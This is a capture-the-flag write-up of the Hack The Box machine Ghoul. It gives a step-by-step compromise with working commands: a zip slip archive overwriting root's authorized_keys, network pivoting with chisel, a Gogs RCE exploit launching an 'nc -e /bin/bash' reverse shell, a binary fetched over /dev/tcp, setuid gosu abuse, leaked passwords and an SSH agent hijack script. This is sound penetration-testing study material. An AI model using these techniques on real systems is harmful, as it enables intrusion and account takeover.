HacktheBox — Ghoul

sif0
sif0
Oct 5 · 17 min read

This is a write-up on how I solved Ghoul from HacktheBox.

Hack the Box is an online platform where you practice your penetration testing skills.

As always, I try to explain how I understood the concepts here from the machine because I want to really understand how things work. So please, if I misunderstood a concept, please let me know.

hackthebox.eu

About the box

Ghoul is rated hard on HacktheBox. It’s Tokyo Ghoul-inspired and it involves pivoting and tunneling. It also forces you to take down lots of notes of what you encounter during the journey. Overall, I learned techniques/attacks and was able to learn a lot about SSH. The network diagram looks like this:

#TL;DR

Initial foothold -> User: An authenticated blog with guessable credentials leads to an image and zip upload page. I perform a zip slip attack to overwrite root’s authorized keys to ssh as root in the machine Aogiri. 
Root: I then enumerate and find a password for an ssh key to log in to kaneki-pc, which has access to a Gogs server. I tunnel the Gogs server to my machine and perform an RCE exploit, leading to 7z file which contains the root password for the kaneki-pc. I then hijack an SSH session on port 2222 to get root.txt.

#Initial Foothold

I first perform an nmap scan on the box

nmap -sV -sC -oA nmap/initial 10.10.10.101

The results are:

Nmap scan report for 10.10.10.101
Host is up (0.30s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c1:1c:4b:0c:c6:de:ae:99:49:15:9e:f9:bc:80:d2:3f (RSA)
|_ 256 a8:21:59:7d:4c:e7:97:ad:78:51:da:e5:f0:f9:ab:7d (ECDSA)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Aogiri Tree
2222/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 63:59:8b:4f:8d:0a:e1:15:44:14:57:27:e7:af:fb:3b (RSA)
| 256 8c:8b:a0:a8:85:10:3d:27:07:51:29:ad:9b:ec:57:e3 (ECDSA)
|_ 256 9a:f5:31:4b:80:11:89:26:59:61:95:ff:5c:68:bc:a7 (ED25519)
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=Aogiri
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88 - Error report
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I notice that there are 2 ssh services(port 22 and 2222), and 2 web pages(port 80 and port 8080). Notice that the port 8080 requires basic authentication on the realm Aogiri. I first check port 80.

Enumerating port 80, all that I found interesting was a blog written by a user named Admin. So if ever I encounter a login page, I will try admin as username with some common passwords.

Running dirsearch.py on the port 80:

I find a /users/login.php.

Trying common credentials:

admin:admin

I’ve tried other credentials and it didn’t work. I move on to port 8080.

Checking port 8080, it requires authentication to the realm Aogiri.

I checked port 8080 and it requires authentication. Trying common passwords, the combination admin:admin works.

Image upload
Zip upload

I see that it allows uploads to a server both for image and zip. I first upload a simple photo and check what image formats it allows to be uploaded. I tried to upload a simple jpeg image.

After a successful upload, the page is redirected to /img.

I then try a GET request:

I get HTTP method GET is not supported.

I then check how the upload is made:

Nothing interesting. Since GET is not allowed, I check through Burp what HTTP verbs are allowed. I send an OPTIONS request to check what HTTP verbs are allowed. Only POST, TRACE and OPTIONS verbs are allowed:

I also check if maybe the uploads are placed under the /img.

I can try uploading files but it will be meaningless if I don’t know if I can access the files. I then move on to the zip upload. I create a zip file with images inside.

I then try to upload the zip to the server.

I tested if the upload goes to /upload/images.zip.

Realizing that I can upload files but cannot identify where it is being uploaded, I checked if it’s vulnerable to a zip slip attack. I recently used this technique from another box.

I used a zip slip attack on this machine. Basically:

"Zip Slip is a form of directory traversal that can be exploited by  extracting files from an archive. The premise of the directory traversal  vulnerability is that an attacker can gain access to parts of the file  system outside of the target folder in which they should reside."

Knowing that I can upload zip files, I looked for examples and found this link:

https://github.com/snyk/zip-slip-vulnerability

You can read more about the zip slip attack here:

Here are samples from the Github repository:

I then tried to upload a zip file, hoping it can “write” files on the server. The intent is to overwrite the root’s authorized keys.

I create a key pair using ssh-keygen. This produces a private and public key pair. Take note that for you to be able to ssh in a box, your public key should be an entry in the authorized_keys file under the user’s home directory.

I then download the zip-slip.zip sample, then created an authorized_keys file then add it to the downloaded archive, then renamed the file for the the zip-slip.zip attack.

I then create an authorized_keys file then add it to the downloaded archive, then renamed the file for the the zip-slip.zip attack.

Renaming the file:

root@kali:~/Documents/htb/boxes/ghoul/zipslip# mv ghoul_htb.pub authorized_keys

Adding the file to the zip-slip archive:

                                                                    
root@kali:~/Documents/htb/boxes/ghoul/zipslip# 7z a zip-slip.zip authorized_keys
<-redacted->

I then check the contents of the zip file:

root@kali:~/Documents/htb/boxes/ghoul/zipslip# 7z l zip-slip.zipDate      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------ ------------------------
2018-04-15 22:04:42 ..... 20 20 ../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../.
./../../../../../../../tmp/evil.txt
2019-10-03 01:25:32 ..... 563 459 authorized_keys
2018-04-15 19:04:29 ..... 19 19 good.txt
------------------- ----- ------------ ------------ ------------------------
2019-10-03 01:25:32 602 498 3 files

I renamed the authorized_keys file in the archive with the appropriate file name.

root@kali:~/Documents/htb/boxes/ghoul/zip# 7z rn zip-slip.zip authorized_keys '../../../../../../../../../../root/.ssh/authorized_keys'

I then list the contents of the zip file, checking if i rename the file correctly:

Since everything went OK, I upload the zip file:

I then try to ssh into the box using the private key, then authenticated with the password I used to protect it with, and I got in as ‘root@Aogiri’

I check what I have in the /root/ directory.

I then check who are the users in the /home/ director:

root@Aogiri:/home# ls -al
total 36
drwxr-xr-x 1 root root 4096 Dec 13 2018 .
drwxr-xr-x 1 root root 4096 Dec 13 2018 ..
drwx------ 1 Eto Eto 4096 Dec 13 2018 Eto
drwx------ 1 kaneki kaneki 4096 Dec 13 2018 kaneki
drwx------ 1 noro noro 4096 Dec 13 2018 noro
root@Aogiri:/home#

I find that there are 3 user folders namely Eto, kaneki, and noro.

I check what’s inside kaneki’s folder.

Reading the files under the kaneki folder, I can find user.txt and a few notes about a vulnerability in Gogs, and the presence of a test account. It also says that a file server is in the server’s network and that kaneki has access to it.

root@Aogiri:/home/kaneki# cat note.txt 
Vulnerability in Gogs was detected. I shutdown the registration function on our server, please ensure that no one gets access to the test accounts.
root@Aogiri:/home/kaneki# cat notes
I've set up file server into the server's network ,Eto if you need to transfer files to the server can use my pc.
DM me for the access.
root@Aogiri:/home/kaneki# wc -c user.txt
33 user.txt
root@Aogiri:/home/kaneki# cat user.txt
7c0f11041.....

I check authorized_keys of kaneki to see who can ssh as kaneki in this machine.

I see an entry kaneki_pub@kaneki-pc. This indicates that a user named kaneki_pub can ssh in to this machine. I take note of the username kaneki_pub.

Enumerating Eto’s home directory, I find nothing that useful:

root@Aogiri:/home/Eto# cat alert.txt 
Hey Noro be sure to keep checking the humans for IP logs and chase those little shits down!

Enumerating noro’s directory, I see a to-do file.

root@Aogiri:/home/noro# cat to-do.txt 
Need to update backups.

It seems there are backups. I enumerate the var directory and find backups for the keys for the 3 users. I checked the pdf and xlsx files but I think they are rabbit holes.

root@Aogiri:/var# ls
backups cache docs lib local lock log mail opt run spool tmp www
root@Aogiri:/var# cd backups/
root@Aogiri:/var/backups# ls -alR
.:
total 24
drwxr-xr-x 1 root root 4096 Dec 13 2018 .
drwxr-xr-x 1 root root 4096 Dec 13 2018 ..
drwxr-xr-x 1 root root 4096 Dec 13 2018 backups
./backups:
total 3852
drwxr-xr-x 1 root root 4096 Dec 13 2018 .
drwxr-xr-x 1 root root 4096 Dec 13 2018 ..
-rw-r--r-- 1 root root 3886432 Dec 13 2018 Important.pdf
drwxr-xr-x 2 root root 4096 Dec 13 2018 keys
-rw-r--r-- 1 root root 112 Dec 13 2018 note.txt
-rw-r--r-- 1 root root 29380 Dec 13 2018 sales.xlsx
./backups/keys:
total 24
drwxr-xr-x 2 root root 4096 Dec 13 2018 .
drwxr-xr-x 1 root root 4096 Dec 13 2018 ..
-rwxr--r-- 1 root root 1675 Dec 13 2018 eto.backup
-rwxr--r-- 1 root root 1766 Dec 13 2018 kaneki.backup
-rwxr--r-- 1 root root 1675 Dec 13 2018 noro.backup

Checking what are these backup files:

root@Aogiri:/var/backups/backups/keys# file *
eto.backup: PEM RSA private key
kaneki.backup: PEM RSA private key
noro.backup: PEM RSA private key
root@Aogiri:/var/backups/backups/keys#

They are PEM RSA which can be converted to rsa private key using the command and using the passwords found in login.php. But I do not need these files because I already have access to their rsa private keys:

openssl rsa -in backupfile -out outputfile 

I then check the html folder. These are the files on port 80.

I then began checking these files under the http://10.10.10.101 url. The file secret.php is interesting.

secret.php

I then check other php files, and this is the login.php file found under the http://10.10.10.101/users/login.php. I find credentials of kaneki:123456, noro:password123, and admin:abcdef. Note that Kaneki said an “ILoveTouka” after Noro said he needed access to the remote server.

login.php

After this, I realized that I may have skipped some steps, and I tried the passwords found on the login.php file, and the backup key files can be decrypted using the passwords except for the user kaneki. Logging in to the /users/login.php gives us this page:

Checking out the other php files, I find nothing useful. I then decided to move on.

I then check my IP address, and see what subnet I’m in:

ifconfig

I notice that my IP is 172.20.0.10. I then perform a ping sweep to see active hosts. I find a new IP which is 172.20.0.150.

root@Aogiri:/# for ip in $(seq 1 254) ; do (ping -c 1 172.20.0.$ip | grep "bytes from"| cut -d':' -f1 | cut -d' ' -f4 &); done
172.20.0.1
172.20.0.10
172.20.0.150

I upload an nmap static binary from here so I can enumerate open ports. Note that this can be done using a for loop also:

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap

I upload it to the machine using SCP and upload it to the tmp directory:

scp -i ghoul_htb nmap root@10.10.10.101:/tmp

Running nmap:

Note that it looks for files that are not present in the machine. I can opt to copy what’s inside my /etc/services, or perform an SSH remote port forward, so I can nmap the host locally from machine. After finding out that SSH is open on 172.20.0.150, I look into my notes and remember that there is a kaneki_pub user from kaneki-pc. I then tried to ssh using kaneki’s private key and used the string “ILoveTouka” for the password, which was from the secrets.php file earlier, and it worked!

Reading what’s inside the to-do.txt file:

kaneki_pub@kaneki-pc:~$ cat to-do.txt
Give AogiriTest user access to Eto for git.

So I find another username AogiriTest for git.

Checking the /home directory:

I find 2 users, kaneki_adm and kaneki_pub.

I then check configuration of interfaces:

Notice that the eth1 interface has an ip of 172.18.0.200. I then run another ping sweep to check hosts on the 172.18.0 network. Notice that there is another host on 172.18.0.2.

kaneki_pub@kaneki-pc:~$ for ip in $(seq 1 254); do (ping -c 1 172.18.0.$ip | grep "bytes from" |cut -d ":" -f1 | cut -d " " -f4 &) ; done
172.18.0.1
172.18.0.2
172.18.0.200

I then upload nmap to the kaneki-pc from the Aogiri host by performing another SCP, saving it to the tmp directory:

scp -i /home/kaneki/.ssh/id_rsa nmap kaneki_pub@172.20.0.150:/tmp

Checking the /tmp directory of kaneki-pc:

I see that the nmap is transferred, and some weird folders named ssh-XXXXXXX. I proceed with my nmap:

Running nmap on the 172.18.0.2, I find 2 ports. Note that I have been waiting for the Gogs service to come out, and Gogs service usually runs in port 3000.

I then tried to check what port 3000 gives:

So port 3000 is the Gogs server. Knowing that an RCE for Gogs was mentioned, I looked up for an RCE. I find this:

https://github.com/TheZ3ro/gogsownz

Since we cannot access the 172.18.0.2 host from our Kali machine, and putting the exploit on the containers, I then decided to create a tunnel to port 3000 of 172.18.0.2. Since we do not have ssh credentials for the Gogs server, I then use chisel.

I first knew of chisel from ippsec ❤. Watch his awesome video on Reddish (which he performs a lot of tunneling). You can also refer to this if you want a written form of tunnelling:

https://0xdf.gitlab.io/2019/01/28/tunneling-with-chisel-and-ssf.html

Going back, I download first the chisel binary on my machine and reduced the binary file also, to ease up the transferring of files(also on the video and writeup on how to do it).

I first transfer the chisel binary on the kaneki-pc container:

chisel transfer

I now forward port 3000 of the 172.18.0.2 host.

Basically, I tell the chisel client(kaneki-pc) to connect to my chisel server(my host) AND any traffic sent to port 3001 will be forwarded to the port 3000 on the host 172.18.0.2. The diagram looks like this:

The green line is the chisel connection, and the red line represents any traffic sent to localhost 3001 will be forwarded to port 3000 of the Gogs server.

Accessing localhost:3001:

I cannot try yet the RCE since I don’t have a password for the AogiriTest user. I enumerated and found a password in the /usr/share/tomcat7/conf/tomcat-users.xml from the Aogiri container.

<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<user username="admin" password="admin" roles="admin" />
<role rolename="admin" />
<!--<user username="admin" password="test@aogiri123" roles="admin" />
<role rolename="admin" />-->
</tomcat-users>

I then tried this password to the Gogs service, and it works!

Before trying the RCE, I first investigate thru Burp how the authentication is being sent:

Notice that it uses the cookie i_like_gogits, which can be used in the RCE. Checking the help of gogsownsz.py:

Since the Gogs server has no connection to our host, I first tried to upload a static binary of ncat to kaneki-pc, which will catch the shell.

toor@CJ:~/ghoul$ nc -nlvp 9001 < ncat
Listening on [0.0.0.0] (family 0, port 9001)
Connection from 10.10.10.101 38252 received!
toor@CJ:~/ghoul$ md5sum ncat
1b3b9f07acfe786081d4e52ad67e0983 ncat
kaneki_pub@kaneki-pc:/tmp$ cat < /dev/tcp/10.10.14.33/9001 > ncat
^C
kaneki_pub@kaneki-pc:/tmp$ md5sum ncat
1b3b9f07acfe786081d4e52ad67e0983 ncat
kaneki_pub@kaneki-pc:/tmp$

Now that I have ncat on kaneki-pc, I try the RCE with the syntax

python3 gogsownz.py http://localhost:3000/ -v -C "AogiriTest:test@aogiri123" --rce "nc 172.18.0.2 9001 -e /bin/bash" -n i_like_gogits

I now get a shell on the Gogs server! Enumerating, I see that I’m the Git user. I quickly check for binaries with setuid set by invoking:

find / -perm -u=s -type f 2>/dev/null

The /usr/sbin/gosu binary stands out. Checking online leads me to this repository:

https://github.com/tianon/gosu

Checking its usage:

I try to run commands as root, and see that it works. I list files under the /root/ directory:


/usr/sbin/gosu root bash -c 'whoami'
root
/usr/sbin/gosu root bash -c 'ls -al /root/'
total 128
drwx------ 1 root root 4096 Dec 29 2018 .
drwxr-xr-x 1 root root 4096 Dec 13 2018 ..
lrwxrwxrwx 1 root root 9 Dec 29 2018 .ash_history -> /dev/null
lrwxrwxrwx 1 root root 9 Dec 29 2018 .bash_history -> /dev/null
-rw-r--r-- 1 root root 117507 Dec 29 2018 aogiri-app.7z
-rwxr-xr-x 1 root root 179 Dec 16 2018 session.sh

Seeing that there is an interesting 7z file, I then exfil it out of to my local machine.

I first run git log and see some commits:

git log 

Enumerating more, to show commits that touch the specified paths, and diffs about the same specified paths inside, I invoke:

git log -p .

I now see a password for kaneki. I tried it to the kaneki-pc to elevate as kaneki_adm and kaneki_pub, it doesn’t work. Even for root.

I then enumerate by checking the ORIG_HEAD:

git show ORIG_HEAD

I see more credentials. I try each passwords to each user and what worked was:

 root:7^Grc%C\7xEQ?tb4

Great. I am now root, and can read a file called root.txt, but its’a troll.. 😫

I first check what’s inside the kaneki_adm directory:

kaneki_adm

I then check what’s inside the tmp folder and see folders weird directories starting on ssh.

I then run ps aux to see what processes are running:

Notice that there is an ssh connection being initiated to port 2222, but the process dies after some time.

SSH-Hijack

I referenced this blog to know more about the attack:

https://xorl.wordpress.com/2018/02/04/ssh-hijacking-for-lateral-movement/

When you connect to a remote system you can choose if you want your  ssh-agent to be available there too using the ForwardAgent directive. By  forwarding the agent you can move around systems without having to copy  keys everywhere or re-authenticating manually. However, this has a  downside too. If an attacker has root access on any of the systems from  which you have forwarded your agent, he can re-use that socket file to  open new SSH sessions with your information.

I can try to ssh on port 2222 using the credentials used by the root user, by hijacking the agent by storing its SSH_AUTH_SOCK to my env, and adding it to my ssh-agent. I first get a binary of pspy64s to the kaneki-pc, and run it to monitor when the process happens.

When the process happens, I then check for the /tmp folder for agents that appeear when the ssh connections happens. Note that these agents dissapear as when I check the directories again, the agent is gone.

I then see that the connection happens every 6 minutes:

I then wait for the interval on when the connection is initiated and invoke:

SSH_AUTH_SOCK=/tmp/ssh-XXXXXX/agent.XXX ssh root@172.18.0.1 -p 2222

I get to login!

And can now read root.txt.. 😅

root@Aogiri:~# cat root.txt
7c0f11041f....

You can do this also by just scripting and automating the hijack thru this simple script:

#!/bin/bashwhile true; do agent=$(find . -name agent.*)
if [[$agent != '']]; then
echo "$agent"
break
fi
done
SSH_AUTH_SOCK=$agent ssh root@172.18.0.1 -p 2222

Note that this will trigger a lot of processes, and will be very noisy!

And that’s how I solved Ghoul from HacktheBox! It’s a very long journey but definitely worth it! Thanks for reading! 🍺


InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

sif0

Written by

sif0

Infosec enthusiast.

InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. In a nutshell, we are the largest InfoSec publication on Medium. Maintained by Hackrew

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade